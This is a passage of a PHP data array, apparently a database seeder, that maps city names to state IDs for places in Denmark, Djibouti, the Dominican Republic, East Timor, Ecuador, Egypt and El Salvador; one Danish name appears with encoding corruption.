'norresundby'],\n ['state_id' => '949', 'name' => 'nãƒâƒã‚â¸rresundby'],\n ['state_id' => '949', 'name' => 'pandrup'],\n ['state_id' => '949', 'name' => 'saby'],\n ['state_id' => '949', 'name' => 'sindal'],\n ['state_id' => '949', 'name' => 'skagen'],\n ['state_id' => '949', 'name' => 'skorping'],\n ['state_id' => '949', 'name' => 'storvorde'],\n ['state_id' => '949', 'name' => 'stovring'],\n ['state_id' => '949', 'name' => 'strandby'],\n ['state_id' => '949', 'name' => 'sulsted'],\n ['state_id' => '949', 'name' => 'svenstrup'],\n ['state_id' => '949', 'name' => 'tars'],\n ['state_id' => '949', 'name' => 'tranekaer'],\n ['state_id' => '949', 'name' => 'vadum'],\n ['state_id' => '949', 'name' => 'vestbjerg'],\n ['state_id' => '949', 'name' => 'vester hassing'],\n ['state_id' => '949', 'name' => 'vodskov'],\n ['state_id' => '949', 'name' => 'vra'],\n ['state_id' => '950', 'name' => 'ansager'],\n ['state_id' => '950', 'name' => 'billund'],\n ['state_id' => '950', 'name' => 'bramming'],\n ['state_id' => '950', 'name' => 'brorup'],\n ['state_id' => '950', 'name' => 'esbjerg'],\n ['state_id' => '950', 'name' => 'grindsted'],\n ['state_id' => '950', 'name' => 'holsted'],\n ['state_id' => '950', 'name' => 'nordby'],\n ['state_id' => '950', 'name' => 'oksbol'],\n ['state_id' => '950', 'name' => 'olgod'],\n ['state_id' => '950', 'name' => 'ribe'],\n ['state_id' => '950', 'name' => 'tjareborg'],\n ['state_id' => '950', 'name' => 'varde'],\n ['state_id' => '950', 'name' => 'vejen'],\n ['state_id' => '950', 'name' => 'vorbasse'],\n ['state_id' => '951', 'name' => 'aulum'],\n ['state_id' => '951', 'name' => 'bording'],\n ['state_id' => '951', 'name' => 'brande'],\n ['state_id' => '951', 'name' => 'gjellerup kirkeby'],\n ['state_id' => '951', 'name' => 'hammerum'],\n ['state_id' => '951', 'name' => 'harboore'],\n ['state_id' => '951', 'name' => 'herning'],\n ['state_id' => '951', 'name' => 'holstebro'],\n ['state_id' => '951', 'name' => 'hvide sande'],\n ['state_id' => '951', 'name' => 'ikast'],\n ['state_id' => '951', 'name' => 'kibak'],\n ['state_id' => '951', 'name' => 'lemvig'],\n ['state_id' => '951', 'name' => 'lind'],\n ['state_id' => '951', 'name' => 'ringkobing'],\n ['state_id' => '951', 'name' => 'skaerbaek'],\n ['state_id' => '951', 'name' => 'skjern'],\n ['state_id' => '951', 'name' => 'snejbjerg'],\n ['state_id' => '951', 'name' => 'struer'],\n ['state_id' => '951', 'name' => 'sunds'],\n ['state_id' => '951', 'name' => 'tarm'],\n ['state_id' => '951', 'name' => 'thyboron'],\n ['state_id' => '951', 'name' => 'ulfborg'],\n ['state_id' => '951', 'name' => 'videbak'],\n ['state_id' => '951', 'name' => 'vildbjerg'],\n ['state_id' => '951', 'name' => 'vinderup'],\n ['state_id' => '952', 'name' => 'roervig'],\n ['state_id' => '953', 'name' => 'bjaverskov'],\n ['state_id' => '953', 'name' => 'borup'],\n ['state_id' => '953', 'name' => 'ejby'],\n ['state_id' => '953', 'name' => 'greve strand'],\n ['state_id' => '953', 'name' => 'gundsomagle'],\n ['state_id' => '953', 'name' => 'harlev'],\n ['state_id' => '953', 'name' => 'havdrup'],\n ['state_id' => '953', 'name' => 'hvalso'],\n ['state_id' => '953', 'name' => 'jyllinge'],\n ['state_id' => '953', 'name' => 'koge'],\n ['state_id' => '953', 'name' => 'lejre'],\n ['state_id' => '953', 'name' => 'osted'],\n ['state_id' => '953', 'name' => 'roskilde'],\n ['state_id' => '953', 'name' => 'solrod'],\n ['state_id' => '953', 'name' => 'stroby egede'],\n ['state_id' => '953', 'name' => 'svogerslev'],\n ['state_id' => '953', 'name' => 'tune'],\n ['state_id' => '953', 'name' => 'viby'],\n ['state_id' => '953', 'name' => 'vindinge'],\n ['state_id' => '954', 'name' => 'glyngore'],\n ['state_id' => '955', 'name' => 'karise'],\n ['state_id' => '955', 'name' => 'naestved'],\n ['state_id' => '956', 'name' => 'soeborg'],\n ['state_id' => '957', 'name' => 'aabenraa'],\n ['state_id' => '957', 'name' => 'aarsleve'],\n ['state_id' => '957', 'name' => 'augustenborg'],\n ['state_id' => '957', 'name' => 'broager'],\n ['state_id' => '957', 'name' => 'christiansfeld'],\n ['state_id' => '957', 'name' => 'dybbol'],\n ['state_id' => '957', 'name' => 'gram'],\n ['state_id' => '957', 'name' => 'grasten'],\n ['state_id' => '957', 'name' => 'guderup'],\n ['state_id' => '957', 'name' => 'haderslev'],\n ['state_id' => '957', 'name' => 'horuphav'],\n ['state_id' => '957', 'name' => 'krusa'],\n ['state_id' => '957', 'name' => 'logumkloster'],\n ['state_id' => '957', 'name' => 'lojt kirkeby'],\n ['state_id' => '957', 'name' => 'nordborg'],\n ['state_id' => '957', 'name' => 'padborg'],\n ['state_id' => '957', 'name' => 'rodding'],\n ['state_id' => '957', 'name' => 'rodekro'],\n ['state_id' => '957', 'name' => 'skarbak'],\n ['state_id' => '957', 'name' => 'sonderborg'],\n ['state_id' => '957', 'name' => 'starup'],\n ['state_id' => '957', 'name' => 'tinglev'],\n ['state_id' => '957', 'name' => 'toftlund'],\n ['state_id' => '957', 'name' => 'tonder'],\n ['state_id' => '957', 'name' => 'vojens'],\n ['state_id' => '958', 'name' => 'fakse'],\n ['state_id' => '958', 'name' => 'fakse ladeplads'],\n ['state_id' => '958', 'name' => 'fensmark'],\n ['state_id' => '958', 'name' => 'holeby'],\n ['state_id' => '958', 'name' => 'maribo'],\n ['state_id' => '958', 'name' => 'nakskov'],\n ['state_id' => '958', 'name' => 'nastved'],\n ['state_id' => '958', 'name' => 'neder vindinge'],\n ['state_id' => '958', 'name' => 'norre alslev'],\n ['state_id' => '958', 'name' => 'nykobing'],\n ['state_id' => '958', 'name' => 'nyrad'],\n ['state_id' => '958', 'name' => 'orslev'],\n ['state_id' => '958', 'name' => 'prasto'],\n ['state_id' => '958', 'name' => 'rodby'],\n ['state_id' => '958', 'name' => 'rodbyhavn'],\n ['state_id' => '958', 'name' => 'ronnede'],\n ['state_id' => '958', 'name' => 'sakskobing'],\n ['state_id' => '958', 'name' => 'stege'],\n ['state_id' => '958', 'name' => 'store heddinge'],\n ['state_id' => '958', 'name' => 'stubbekobing'],\n ['state_id' => '958', 'name' => 'sundby'],\n ['state_id' => '958', 'name' => 'vordingborg'],\n ['state_id' => '959', 'name' => 'bylderup-bov'],\n ['state_id' => '959', 'name' => 'fovling'],\n ['state_id' => '960', 'name' => 'toelloese'],\n ['state_id' => '961', 'name' => 'borkop'],\n ['state_id' => '961', 'name' => 'bradstrup'],\n ['state_id' => '961', 'name' => 'brejning'],\n ['state_id' => '961', 'name' => 'egtved'],\n ['state_id' => '961', 'name' => 'fredericia'],\n ['state_id' => '961', 'name' => 'give'],\n ['state_id' => '961', 'name' => 'hedensted'],\n ['state_id' => '961', 'name' => 'horsens'],\n ['state_id' => '961', 'name' => 'jelling'],\n ['state_id' => '961', 'name' => 'juelsminde'],\n ['state_id' => '961', 'name' => 'kolding'],\n ['state_id' => '961', 'name' => 'lunderskov'],\n ['state_id' => '961', 'name' => 'snoghoj'],\n ['state_id' => '961', 'name' => 'sonder bjert'],\n ['state_id' => '961', 'name' => 'taulov'],\n ['state_id' => '961', 'name' => 'torring'],\n ['state_id' => '961', 'name' => 'vamdrup'],\n ['state_id' => '961', 'name' => 'vejle'],\n ['state_id' => '962', 'name' => 'asnas'],\n ['state_id' => '962', 'name' => 'dianalund'],\n ['state_id' => '962', 'name' => 'forlev'],\n ['state_id' => '962', 'name' => 'frederiksberg'],\n ['state_id' => '962', 'name' => 'fuglebjerg'],\n ['state_id' => '962', 'name' => 'gorlev'],\n ['state_id' => '962', 'name' => 'haslev'],\n ['state_id' => '962', 'name' => 'holbaek'],\n ['state_id' => '962', 'name' => 'hong'],\n ['state_id' => '962', 'name' => 'horve'],\n ['state_id' => '962', 'name' => 'jyderup'],\n ['state_id' => '962', 'name' => 'kalundborg'],\n ['state_id' => '962', 'name' => 'korsor'],\n ['state_id' => '962', 'name' => 'nykobing'],\n ['state_id' => '962', 'name' => 'ringsted'],\n ['state_id' => '962', 'name' => 'skalskor'],\n ['state_id' => '962', 'name' => 'slagelse'],\n ['state_id' => '962', 'name' => 'soro'],\n ['state_id' => '962', 'name' => 'svebolle'],\n ['state_id' => '962', 'name' => 'svinninge'],\n ['state_id' => '962', 'name' => 'tollose'],\n ['state_id' => '962', 'name' => 'vipperod'],\n ['state_id' => '963', 'name' => 'aalestrup'],\n ['state_id' => '963', 'name' => 'bjerringbro'],\n ['state_id' => '963', 'name' => 'hanstholm'],\n ['state_id' => '963', 'name' => 'hojslev'],\n ['state_id' => '963', 'name' => 'hurup'],\n ['state_id' => '963', 'name' => 'karup'],\n ['state_id' => '963', 'name' => 'kjellerup'],\n ['state_id' => '963', 'name' => 'nykobing'],\n ['state_id' => '963', 'name' => 'skive'],\n ['state_id' => '963', 'name' => 'stoholm'],\n ['state_id' => '963', 'name' => 'thisted'],\n ['state_id' => '963', 'name' => 'ulstrup'],\n ['state_id' => '963', 'name' => 'viborg'],\n ['state_id' => '965', 'name' => 'dikhil'],\n ['state_id' => '966', 'name' => 'jibuti'],\n ['state_id' => '967', 'name' => 'tajurah'],\n ['state_id' => '968', 'name' => 'ubuk'],\n ['state_id' => '979', 'name' => 'azua'],\n ['state_id' => '979', 'name' => 'sabana yegua'],\n ['state_id' => '980', 'name' => 'neyba'],\n ['state_id' => '980', 'name' => 'tamayo'],\n ['state_id' => '981', 'name' => 'barahona'],\n ['state_id' => '981', 'name' => 'cabral'],\n ['state_id' => '981', 'name' => 'el penon'],\n ['state_id' => '982', 'name' => 'dajabon'],\n ['state_id' => '984', 'name' => 'las guaranas'],\n ['state_id' => '984', 'name' => 'pimentel'],\n ['state_id' => '984', 'name' => 'san francisco de macoris'],\n ['state_id' => '987', 'name' => 'moca'],\n ['state_id' => '989', 'name' => 'duverge'],\n ['state_id' => '989', 'name' => 'jimani'],\n ['state_id' => '997', 'name' => 'pedernales'],\n ['state_id' => '998', 'name' => 'bani'],\n ['state_id' => '998', 'name' => 'ocoa'],\n ['state_id' => '1000', 'name' => 'salcedo'],\n ['state_id' => '1001', 'name' => 'samana'],\n ['state_id' => '1001', 'name' => 'sanchez'],\n ['state_id' => '1006', 'name' => 'santiago'],\n ['state_id' => '1006', 'name' => 'tamboril'],\n ['state_id' => '1006', 'name' => 'villa bisono'],\n ['state_id' => '1007', 'name' => 'santiago'],\n ['state_id' => '1007', 'name' => 'tamboril'],\n ['state_id' => '1007', 'name' => 'villa bisono'],\n ['state_id' => '1008', 'name' => 'esperanza'],\n ['state_id' => '1008', 'name' => 'mao'],\n ['state_id' => '1009', 'name' => 'aileu'],\n ['state_id' => '1010', 'name' => 'ainaro'],\n ['state_id' => '1011', 'name' => 'pante macassar'],\n ['state_id' => '1012', 'name' => 'baucau'],\n ['state_id' => '1013', 'name' => 'auba'],\n ['state_id' => '1013', 'name' => 'lolotoi'],\n ['state_id' => '1013', 'name' => 'maliana'],\n ['state_id' => '1015', 'name' => 'dare'],\n ['state_id' => '1015', 'name' => 'dili'],\n ['state_id' => '1015', 'name' => 'metinaro'],\n ['state_id' => '1016', 'name' => 'ermera'],\n ['state_id' => '1017', 'name' => 'lautem'],\n ['state_id' => '1017', 'name' => 'los palos'],\n ['state_id' => '1018', 'name' => 'bazartete'],\n ['state_id' => '1018', 'name' => 'liquica'],\n ['state_id' => '1019', 'name' => 'manatuto'],\n ['state_id' => '1020', 'name' => 'same'],\n ['state_id' => '1021', 'name' => 'viqueque'],\n ['state_id' => '1022', 'name' => 'cuenca'],\n ['state_id' => '1022', 'name' => 'gualaceo'],\n ['state_id' => '1023', 'name' => 'guaranda'],\n ['state_id' => '1023', 'name' => 'san miguel'],\n ['state_id' => '1024', 'name' => 'azogues'],\n ['state_id' => '1024', 'name' => 'canar'],\n ['state_id' => '1024', 'name' => 'la troncal'],\n ['state_id' => '1025', 'name' => 'el angel'],\n ['state_id' => '1025', 'name' => 'san gabriel'],\n ['state_id' => '1025', 'name' => 'tulcan'],\n ['state_id' => '1026', 'name' => 'alausi'],\n ['state_id' => '1026', 'name' => 'guano'],\n ['state_id' => '1026', 'name' => 'riobamba'],\n ['state_id' => '1027', 'name' => 'la mana'],\n ['state_id' => '1027', 'name' => 'latacunga'],\n ['state_id' => '1027', 'name' => 'pujili'],\n ['state_id' => '1027', 'name' => 'san miguel'],\n ['state_id' => '1027', 'name' => 'saquisili'],\n ['state_id' => '1029', 'name' => 'esmeraldas'],\n ['state_id' => '1029', 'name' => 'muisne'],\n ['state_id' => '1029', 'name' => 'rosa zarate'],\n ['state_id' => '1029', 'name' => 'san lorenzo'],\n ['state_id' => '1029', 'name' => 'valdez'],\n ['state_id' => '1030', 'name' => 'puerto ayora'],\n ['state_id' => '1030', 'name' => 'puerto baquerizo moreno'],\n ['state_id' => '1030', 'name' => 'san cristobal'],\n ['state_id' => '1031', 'name' => 'alfredo baquerizo moreno'],\n ['state_id' => '1031', 'name' => 'balao'],\n ['state_id' => '1031', 'name' => 'balzar'],\n ['state_id' => '1031', 'name' => 'colimes'],\n ['state_id' => '1031', 'name' => 'coronel mariduena'],\n ['state_id' => '1031', 'name' => 'daule'],\n ['state_id' => '1031', 'name' => 'el salitre'],\n ['state_id' => '1031', 'name' => 'el triunfo'],\n ['state_id' => '1031', 'name' => 'eloy alfaro'],\n ['state_id' => '1031', 'name' => 'guayaquil'],\n ['state_id' => '1031', 'name' => 'la libertad'],\n ['state_id' => '1031', 'name' => 'lomas de sargentillo'],\n ['state_id' => '1031', 'name' => 'mapasingue'],\n ['state_id' => '1031', 'name' => 'milagro'],\n ['state_id' => '1031', 'name' => 'naranjal'],\n ['state_id' => '1031', 'name' => 'naranjito'],\n ['state_id' => '1031', 'name' => 'palestina'],\n ['state_id' => '1031', 'name' => 'pedro carbo'],\n ['state_id' => '1031', 'name' => 'playas'],\n ['state_id' => '1031', 'name' => 'salinas'],\n ['state_id' => '1031', 'name' => 'samborondon'],\n ['state_id' => '1031', 'name' => 'santa elena'],\n ['state_id' => '1031', 'name' => 'santa lucia'],\n ['state_id' => '1031', 'name' => 'velasco ibarra'],\n ['state_id' => '1031', 'name' => 'yaguachi'],\n ['state_id' => '1032', 'name' => 'atuntaqui'],\n ['state_id' => '1032', 'name' => 'cotacachi'],\n ['state_id' => '1032', 'name' => 'ibarra'],\n ['state_id' => '1032', 'name' => 'otavalo'],\n ['state_id' => '1032', 'name' => 'pimampiro'],\n ['state_id' => '1033', 'name' => 'alamor'],\n ['state_id' => '1033', 'name' => 'cariamanga'],\n ['state_id' => '1033', 'name' => 'catacocha'],\n ['state_id' => '1033', 'name' => 'catamayo'],\n ['state_id' => '1033', 'name' => 'celica'],\n ['state_id' => '1033', 'name' => 'loja'],\n ['state_id' => '1033', 'name' => 'macara'],\n ['state_id' => '1035', 'name' => 'bahia de caraquez'],\n ['state_id' => '1035', 'name' => 'calceta'],\n ['state_id' => '1035', 'name' => 'chone'],\n ['state_id' => '1035', 'name' => 'el carmen'],\n ['state_id' => '1035', 'name' => 'jipijapa'],\n ['state_id' => '1035', 'name' => 'junin'],\n ['state_id' => '1035', 'name' => 'manta'],\n ['state_id' => '1035', 'name' => 'montecristi'],\n ['state_id' => '1035', 'name' => 'pajan'],\n ['state_id' => '1035', 'name' => 'pedernales'],\n ['state_id' => '1035', 'name' => 'portoviejo'],\n ['state_id' => '1035', 'name' => 'rocafuerte'],\n ['state_id' => '1035', 'name' => 'santa ana'],\n ['state_id' => '1035', 'name' => 'sucre'],\n ['state_id' => '1035', 'name' => 'tosagua'],\n ['state_id' => '1037', 'name' => 'archidona'],\n ['state_id' => '1037', 'name' => 'tena'],\n ['state_id' => '1038', 'name' => 'orellana'],\n ['state_id' => '1039', 'name' => 'puyo'],\n ['state_id' => '1040', 'name' => 'cayambe'],\n ['state_id' => '1040', 'name' => 'machachi'],\n ['state_id' => '1040', 'name' => 'quito'],\n ['state_id' => '1040', 'name' => 'sangolqui'],\n ['state_id' => '1040', 'name' => 'santo domingo'],\n ['state_id' => '1041', 'name' => 'nueva loja'],\n ['state_id' => '1041', 'name' => 'shushufindi'],\n ['state_id' => '1042', 'name' => 'ambato'],\n ['state_id' => '1042', 'name' => 'banos'],\n ['state_id' => '1042', 'name' => 'pelileo'],\n ['state_id' => '1042', 'name' => 'pillaro'],\n ['state_id' => '1044', 'name' => 'aswan'],\n ['state_id' => '1044', 'name' => 'daraw'],\n ['state_id' => '1044', 'name' => 'kawm umbu'],\n ['state_id' => '1044', 'name' => 'an-nasir'],\n ['state_id' => '1045', 'name' => 'abnub'],\n ['state_id' => '1045', 'name' => 'abu tij'],\n ['state_id' => '1045', 'name' => 'asyut'],\n ['state_id' => '1045', 'name' => 'bani muhammadiyat'],\n ['state_id' => '1045', 'name' => 'dayrut'],\n ['state_id' => '1045', 'name' => 'dayrut-ash-sharif'],\n ['state_id' => '1045', 'name' => 'manfalut'],\n ['state_id' => '1045', 'name' => 'musha'],\n ['state_id' => '1045', 'name' => 'sahil salim'],\n ['state_id' => '1045', 'name' => 'sanabu'],\n ['state_id' => '1045', 'name' => 'umm-al-qusur'],\n ['state_id' => '1045', 'name' => 'al-badari'],\n ['state_id' => '1045', 'name' => 'al-qusiyah'],\n ['state_id' => '1045', 'name' => 'an-nukhaylah'],\n ['state_id' => '1048', 'name' => '6th of october city'],\n ['state_id' => '1048', 'name' => 'ataba'],\n ['state_id' => '1048', 'name' => 'cairo'],\n ['state_id' => '1048', 'name' => 'nasr'],\n ['state_id' => '1048', 'name' => 'nasr city'],\n ['state_id' => '1048', 'name' => 'obour city'],\n ['state_id' => '1049', 'name' => '\\'izbat-al-burj'],\n ['state_id' => '1049', 'name' => 'damietta'],\n ['state_id' => '1049', 'name' => 'dumyat'],\n ['state_id' => '1049', 'name' => 'el-zarka'],\n ['state_id' => '1049', 'name' => 'faraskur'],\n ['state_id' => '1049', 'name' => 'kafr sa\\'d'],\n ['state_id' => '1049', 'name' => 'kafr-al-battikh'],\n ['state_id' => '1049', 'name' => 'az-zarqa'],\n ['state_id' => '1050', 'name' => 'biyala'],\n ['state_id' => '1050', 'name' => 'disuq'],\n ['state_id' => '1050', 'name' => 'fuwah'],\n ['state_id' => '1050', 'name' => 'kafr-al-jara\\'idah'],\n ['state_id' => '1050', 'name' => 'kafr-ash-shaykh'],\n ['state_id' => '1050', 'name' => 'mutubis'],\n ['state_id' => '1050', 'name' => 'qallin'],\n ['state_id' => '1050', 'name' => 'sidi salim'],\n ['state_id' => '1050', 'name' => 'al-burj'],\n ['state_id' => '1050', 'name' => 'al-burullus'],\n ['state_id' => '1050', 'name' => 'al-haddadi'],\n ['state_id' => '1050', 'name' => 'al-hamul'],\n ['state_id' => '1051', 'name' => 'marsa matruh'],\n ['state_id' => '1051', 'name' => 'nasr'],\n ['state_id' => '1051', 'name' => 'sidi barrani'],\n ['state_id' => '1051', 'name' => 'zawiyat shammas'],\n ['state_id' => '1051', 'name' => 'ad-da\\'ba'],\n ['state_id' => '1057', 'name' => 'armant'],\n ['state_id' => '1057', 'name' => 'asfun-al-mata\\'inah'],\n ['state_id' => '1057', 'name' => 'dandarah'],\n ['state_id' => '1057', 'name' => 'dishna'],\n ['state_id' => '1057', 'name' => 'farshut'],\n ['state_id' => '1057', 'name' => 'hijazah'],\n ['state_id' => '1057', 'name' => 'hiw'],\n ['state_id' => '1057', 'name' => 'idfu'],\n ['state_id' => '1057', 'name' => 'isna'],\n ['state_id' => '1057', 'name' => 'kiman-al-mata\\'inah'],\n ['state_id' => '1057', 'name' => 'naj\\' hammadi'],\n ['state_id' => '1057', 'name' => 'naqadah'],\n ['state_id' => '1057', 'name' => 'qift'],\n ['state_id' => '1057', 'name' => 'qina'],\n ['state_id' => '1057', 'name' => 'qus'],\n ['state_id' => '1057', 'name' => 'ad-dabbiyah'],\n ['state_id' => '1057', 'name' => 'ad-dayr'],\n ['state_id' => '1057', 'name' => 'al-ballas'],\n ['state_id' => '1057', 'name' => 'al-karnak'],\n ['state_id' => '1057', 'name' => 'al-waqf'],\n ['state_id' => '1057', 'name' => 'ar-radisiyat-al-bahriyah'],\n ['state_id' => '1058', 'name' => 'akhmim'],\n ['state_id' => '1058', 'name' => 'awlad tawq sharq'],\n ['state_id' => '1058', 'name' => 'dar-as-salam'],\n ['state_id' => '1058', 'name' => 'jirja'],\n ['state_id' => '1058', 'name' => 'juhaynah'],\n ['state_id' => '1058', 'name' => 'sawhaj'],\n ['state_id' => '1058', 'name' => 'tahta'],\n ['state_id' => '1058', 'name' => 'tima'],\n ['state_id' => '1058', 'name' => 'al-balyana'],\n ['state_id' => '1058', 'name' => 'al-manshah'],\n ['state_id' => '1058', 'name' => 'al-maragah'],\n ['state_id' => '1061', 'name' => 'aja'],\n ['state_id' => '1061', 'name' => 'bahut'],\n ['state_id' => '1061', 'name' => 'bilqas'],\n ['state_id' => '1061', 'name' => 'dikirnis'],\n ['state_id' => '1061', 'name' => 'minyat-an-nasr'],\n ['state_id' => '1061', 'name' => 'mit gamr'],\n ['state_id' => '1061', 'name' => 'shirbin'],\n ['state_id' => '1061', 'name' => 'talkha'],\n ['state_id' => '1061', 'name' => 'al-jamaliyah'],\n ['state_id' => '1061', 'name' => 'al-ma\\'sarah'],\n ['state_id' => '1061', 'name' => 'al-mansurah'],\n ['state_id' => '1061', 'name' => 'al-manzilah'],\n ['state_id' => '1061', 'name' => 'al-matariyah'],\n ['state_id' => '1061', 'name' => 'as-sinbillawayn'],\n ['state_id' => '1062', 'name' => 'ras gharib'],\n ['state_id' => '1062', 'name' => 'safaja'],\n ['state_id' => '1062', 'name' => 'al-ghardaqah'],\n ['state_id' => '1062', 'name' => 'al-qusayr'],\n ['state_id' => '1063', 'name' => 'abu hummus'],\n ['state_id' => '1063', 'name' => 'abu al-matamir'],\n ['state_id' => '1063', 'name' => 'buturis'],\n ['state_id' => '1063', 'name' => 'damanhur'],\n ['state_id' => '1063', 'name' => 'edfina'],\n ['state_id' => '1063', 'name' => 'hawsh \\'isa'],\n ['state_id' => '1063', 'name' => 'idku'],\n ['state_id' => '1063', 'name' => 'ityay-al-barud'],\n ['state_id' => '1063', 'name' => 'kafr salim'],\n ['state_id' => '1063', 'name' => 'kafr-ad-dawwar'],\n ['state_id' => '1063', 'name' => 'kawm hamada'],\n ['state_id' => '1063', 'name' => 'nubaria'],\n ['state_id' => '1063', 'name' => 'rashid'],\n ['state_id' => '1063', 'name' => 'shubra khit'],\n ['state_id' => '1063', 'name' => 'zawiyat sidi gazi'],\n ['state_id' => '1063', 'name' => 'ad-dilinjat'],\n ['state_id' => '1063', 'name' => 'al-kawm-al-akhdar'],\n ['state_id' => '1063', 'name' => 'al-mahmudiyah'],\n ['state_id' => '1063', 'name' => 'ar-rahmaniyah'],\n ['state_id' => '1064', 'name' => 'fidimin'],\n ['state_id' => '1064', 'name' => 'ibshaway'],\n ['state_id' => '1064', 'name' => 'itsa'],\n ['state_id' => '1064', 'name' => 'qasr qarun'],\n ['state_id' => '1064', 'name' => 'sanhur'],\n ['state_id' => '1064', 'name' => 'sinnuris'],\n ['state_id' => '1064', 'name' => 'tamiyah'],\n ['state_id' => '1064', 'name' => 'al-fayyum'],\n ['state_id' => '1065', 'name' => 'abyar'],\n ['state_id' => '1065', 'name' => 'basyun'],\n ['state_id' => '1065', 'name' => 'kafr-az-zayyat'],\n ['state_id' => '1065', 'name' => 'mahallat marhum'],\n ['state_id' => '1065', 'name' => 'nisf thani bashbish'],\n ['state_id' => '1065', 'name' => 'qutur'],\n ['state_id' => '1065', 'name' => 'samannud'],\n ['state_id' => '1065', 'name' => 'tanta'],\n ['state_id' => '1065', 'name' => 'zifta'],\n ['state_id' => '1065', 'name' => 'ad-daljamun'],\n ['state_id' => '1065', 'name' => 'al-mahallah al-kubra'],\n ['state_id' => '1065', 'name' => 'as-santah'],\n ['state_id' => '1066', 'name' => 'agamy'],\n ['state_id' => '1066', 'name' => 'al-iskandariyah'],\n ['state_id' => '1066', 'name' => 'al-maks'],\n ['state_id' => '1067', 'name' => 'fa\\'id'],\n ['state_id' => '1067', 'name' => 'sarabiyum'],\n ['state_id' => '1067', 'name' => 'al-ismailiyah'],\n ['state_id' => '1068', 'name' => 'atfih'],\n ['state_id' => '1068', 'name' => 'awsim'],\n ['state_id' => '1068', 'name' => 'giza'],\n ['state_id' => '1068', 'name' => 'madinat sittah uktubar'],\n ['state_id' => '1068', 'name' => 'nahya'],\n ['state_id' => '1068', 'name' => 'saqqarah'],\n ['state_id' => '1068', 'name' => 'al-\\'ayyat'],\n ['state_id' => '1068', 'name' => 'al-badrashayn'],\n ['state_id' => '1068', 'name' => 'al-hawamidiyah'],\n ['state_id' => '1068', 'name' => 'al-jizah'],\n ['state_id' => '1068', 'name' => 'al-mansuriyah'],\n ['state_id' => '1068', 'name' => 'al-wahat-al-bahriyah'],\n ['state_id' => '1068', 'name' => 'as-saff'],\n ['state_id' => '1069', 'name' => 'ashmun'],\n ['state_id' => '1069', 'name' => 'birkat-as-sab\\''],\n ['state_id' => '1069', 'name' => 'milij'],\n ['state_id' => '1069', 'name' => 'minuf'],\n ['state_id' => '1069', 'name' => 'quwaysina'],\n ['state_id' => '1069', 'name' => 'shibin-al-kawm'],\n ['state_id' => '1069', 'name' => 'sirs-al-layyanah'],\n ['state_id' => '1069', 'name' => 'tala'],\n ['state_id' => '1069', 'name' => 'al-bajur'],\n ['state_id' => '1069', 'name' => 'al-batanun'],\n ['state_id' => '1069', 'name' => 'ash-shuhada'],\n ['state_id' => '1070', 'name' => 'abu qurqas'],\n ['state_id' => '1070', 'name' => 'bani mazar'],\n ['state_id' => '1070', 'name' => 'dayr mawas'],\n ['state_id' => '1070', 'name' => 'magagah'],\n ['state_id' => '1070', 'name' => 'mallawi'],\n ['state_id' => '1070', 'name' => 'matay'],\n ['state_id' => '1070', 'name' => 'samalut'],\n ['state_id' => '1070', 'name' => 'tallah'],\n ['state_id' => '1070', 'name' => 'tandah'],\n ['state_id' => '1070', 'name' => 'al-anayim'],\n ['state_id' => '1070', 'name' => 'al-fikriyah'],\n ['state_id' => '1070', 'name' => 'al-minya'],\n ['state_id' => '1070', 'name' => 'ar-rawdah'],\n ['state_id' => '1071', 'name' => 'badr city'],\n ['state_id' => '1071', 'name' => 'heliopolis'],\n ['state_id' => '1071', 'name' => 'al-qahira'],\n ['state_id' => '1072', 'name' => 'abu za\\'bal'],\n ['state_id' => '1072', 'name' => 'banha'],\n ['state_id' => '1072', 'name' => 'qalyub'],\n ['state_id' => '1072', 'name' => 'shubra al-khaymah'],\n ['state_id' => '1072', 'name' => 'sibin-al-qanatir'],\n ['state_id' => '1072', 'name' => 'tukh'],\n ['state_id' => '1072', 'name' => 'al-khankah'],\n ['state_id' => '1072', 'name' => 'al-qanatir-al-khayriyah'],\n ['state_id' => '1073', 'name' => 'al-uqsur'],\n ['state_id' => '1075', 'name' => 'as-suways'],\n ['state_id' => '1076', 'name' => 'abu hammad'],\n ['state_id' => '1076', 'name' => 'abu kabir'],\n ['state_id' => '1076', 'name' => 'bilbays'],\n ['state_id' => '1076', 'name' => 'diyarb najm'],\n ['state_id' => '1076', 'name' => 'faqus'],\n ['state_id' => '1076', 'name' => 'hihya'],\n ['state_id' => '1076', 'name' => 'kafr saqr'],\n ['state_id' => '1076', 'name' => 'mashtul-as-suq'],\n ['state_id' => '1076', 'name' => 'minyat-al-qamh'],\n ['state_id' => '1076', 'name' => 'al-ashir mir-ramadan'],\n ['state_id' => '1076', 'name' => 'al-husayniyah'],\n ['state_id' => '1076', 'name' => 'al-ibrahimiyah'],\n ['state_id' => '1076', 'name' => 'al-qanayat'],\n ['state_id' => '1076', 'name' => 'al-qassasin'],\n ['state_id' => '1076', 'name' => 'al-qurayn'],\n ['state_id' => '1076', 'name' => 'as-salihiyah'],\n ['state_id' => '1076', 'name' => 'at-tall-al-kabir'],\n ['state_id' => '1076', 'name' => 'az-zaqaziq'],\n ['state_id' => '1077', 'name' => 'ahuachapan'],\n ['state_id' => '1077', 'name' => 'atiquizaya'],\n ['state_id' => '1077', 'name' => 'concepcion de ataco'],\n ['state_id' => '1077', 'name' => 'guaymango'],\n ['state_id' => '1077', 'name' => 'jujutla'],\n ['state_id' => '1077', 'name' => 'san francisco menendez'],\n ['state_id' => '1077', 'name' => 'tacuba'],\n ['state_id' => '1078', 'name' => 'ilobasco'],\n ['state_id' => '1078', 'name' => 'sensuntepeque'],\n ['state_id' => '1078', 'name' => 'victoria'],\n ['state_id' => '1079', 'name' => 'chalatenango'],\n ['state_id' => '1079', 'name' => 'la palma'],\n ['state_id' => '1079', 'name' => 'nueva concepcion'],\n ['state_id' => '1079', 'name' => 'san francisco morazan'],\n ['state_id' => '1080', 'name' => 'cojutepeque'],\n ['state_id' => '1080', 'name' => 'san pedro perulapan'],\n ['state_id' => '1080', 'name' => 'suchitoto'],\n ['state_id' => '1080', 'name' => 'tecoluca'],\n ['state_id' => '1080', 'name' => 'tenancingo'],\n ['state_id' => '1084', 'name' => 'cacaopera'],\n ['state_id' => '1084', 'name' => 'corinto'],\n ['state_id' => '1084', 'name' => 'gotera'],\n ['state_id' => '1084', 'name' => 'guatajiagua'],\n ['state_id' => '1084', 'name' => 'jocoro'],\n ['state_id' => '1084', 'name' => 'sociedad'],\n ['state_id' => '1089', 'name' => 'acajutla'],\n ['state_id' => '1089', 'name' => 'armenia'],\n ['state_id' => '1089', 'name' => 'izalco'],\n ['state_id' => '1089', 'name' => 'juayua'],\n ['state_id' => '1089', 'name' => 'nahuizalco'],\n ['state_id' => '1089', 'name' => 'san antonio del monte'],\n 